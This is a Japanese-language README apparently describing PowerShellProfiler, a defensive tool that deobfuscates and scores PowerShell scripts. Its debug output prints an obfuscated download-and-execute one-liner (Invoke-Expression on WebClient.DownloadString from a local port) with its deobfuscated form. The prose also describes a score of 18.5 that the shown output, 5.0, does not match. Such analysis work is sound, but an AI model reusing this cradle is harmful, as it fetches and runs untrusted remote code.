
PowerShellProfiler
このプロジェクトのコードは https://github.com/pan-unit42/public_tools/tree/master/powershellprofiler からのものです。
PowerShellProfiler.py は、PowerShell スクリプトを静的に解析するためのスクリプトです。コンテンツを難読化解除して正規化し、その後、行動指標としてプロファイリングします。これらの挙動はスコア化され、その合計によって PowerShell スクリプトの潜在的なリスクレベルが示されます。これは、PowerShell スクリプトの大量解析に取り組む実用的な方法を示し、解析を迅速化するために使用できるもう 1 つのツールを提供することでブルーチームを支援するために作成されました。
Unit42 Blog Series - "Practical Behavioral Profiling of PowerShell Scripts through Static Analysis" では、PowerShell スクリプト内の挙動を静的にプロファイリングするこのアプローチの概念、設計、長所と短所を取り上げています。
usage: PowerShellProfiler.py [-h] -f <file_name> [-d]
PowerShellProfiler analyzes PowerShell scripts statically to identify and
score behaviors.
optional arguments:
-h, --help show this help message and exit
-f <file_name>, --file <file_name>
PowerShell Script to behaviorally profile
-d, --debug Enables debug output
標準的な使用方法は非常に簡単です。単に "-f" フラグを使用してファイル名(PowerShell スクリプト、ScriptBlock ログエクスポート、テキストファイルなど)を渡すと、PowerShellProfiler.py スクリプトが結果を出力します。
C:\Users\Al1ex\Desktop\PowerShellProfiler>python3 PowerShellProfiler.py -f C:\Users\Al1ex\Desktop\Powershell\1.ps1
C:\Users\Al1ex\Desktop\Powershell\1.ps1 , 5.0 , Mild Risk , 0:00:00.008002 , [Downloader - 1.5 | Script Execution - 1.5 | One Liner - 2.0]

出力はカンマ区切りで、以下のフィールドを使用します:
File Name , Profiling Score , Proposed Risk Level , Analysis Runtime , Behaviors (pipe-delimited)
この場合、"1.ps1" ファイルは、コンテンツのダウンロード、プロセスの起動、追加のスクリプトコンテンツの実行、圧縮の使用、何らかのシステム情報の列挙が可能なスクリプトであることを示す特徴・挙動を有し、スクリプト全体が 1 行に収まり、既知のマルウェアファミリー「Veil」に一致するパターンが存在すると識別されました。これらの挙動は個別にスコア化され、合計で 18.5 になり、これは最高リスクの範囲に該当します。
さらに、"-d" フラグによる「デバッグ」モードもあります。これは、デコード/難読化解除の失敗、実行時間の長さ、デコードされたコンテンツの新しい挙動の分析などのトラブルシューティングに役立ち、全体的により詳細な出力を提供します。
C:\Users\Al1ex\Desktop\PowerShellProfiler>python3 PowerShellProfiler.py -d -f C:\Users\Al1ex\Desktop\Powershell\1.ps1
Opened File C:\Users\Al1ex\Desktop\Powershell\1.ps1
[+] Normalization Function
[!] Format Replaced - True: 0:00:00.000997
[!] Format Replaced - True: 0:00:00
[+] Normalization Function
[+] Normalization Function
##### TIMING / MATCH #####
Main Processing: 0:00:00.003988
Family ID: 0:00:00.001995
Behavior Check - Code Injection: 0:00:00
Behavior Check - Key Logging: 0:00:00
Behavior Check - Screen Scraping: 0:00:00
Behavior Check - AppLocker Bypass: 0:00:00
Behavior Check - AMSI Bypass: 0:00:00
Behavior Check - Clear Logs: 0:00:00
Behavior Check - Coin Miner: 0:00:00
Behavior Check - Embedded File: 0:00:00
Behavior Check - Abnormal Size: 0:00:00
Behavior Check - Ransomware: 0:00:00
Behavior Check - DNS C2: 0:00:00
Behavior Check - Disabled Protections: 0:00:00
Behavior Check - Negative Context: 0:00:00
['DownloadString']
Behavior Check - Downloader: 0:00:00
Behavior Check - Starts Process: 0:00:00
['Invoke-Expression']
Behavior Check - Script Execution: 0:00:00
Behavior Check - Compression: 0:00:00
Behavior Check - Hidden Window: 0:00:00
Behavior Check - Custom Web Fields: 0:00:00
Behavior Check - Persistence: 0:00:00
Behavior Check - Sleeps: 0:00:00
Behavior Check - Uninstalls Apps: 0:00:00
Behavior Check - Obfuscation: 0:00:00
Behavior Check - Crypto: 0:00:00
Behavior Check - Enumeration: 0:00:00
Behavior Check - Registry: 0:00:00
Behavior Check - Sends Data: 0:00:00
Behavior Check - Byte Usage: 0:00:00
Behavior Check - SysInternals: 0:00:00
Behavior Check - One Liner: 0:00:00
Behavior Check - Variable Extension: 0:00:00
Behavior Check - Script Logging: 0:00:00
Behavior Check - License: 0:00:00
Behavior Check - Function Body: 0:00:00
Behavior Check - Positive Context: 0:00:00
Behavior ID: 0:00:00.010971
C:\Users\Al1ex\Desktop\Powershell\1.ps1 , 5.0 , Mild Risk , 0:00:00.018915 , [Downloader - 1.5 | Script Execution - 1.5 | One Liner - 2.0]
##### ORIGINAL SCRIPT #####
.("{4}{1}{0}{2}{3}" -f 'Express','-','io','n','Invoke') (&("{2}{0}{3}{1}"-f 'e','-Object','N','w') System.Net.WebClient).DownloadString("http://127.0.0.1:4444/Al1ex.txt")
##### ALTERED SCRIPT #####
."Invoke-Expression" (&"New-Object" System.Net.WebClient).DownloadString("http://127.0.0.1:4444/Al1ex.txt")
C:\Users\Al1ex\Desktop\PowerShellProfiler>
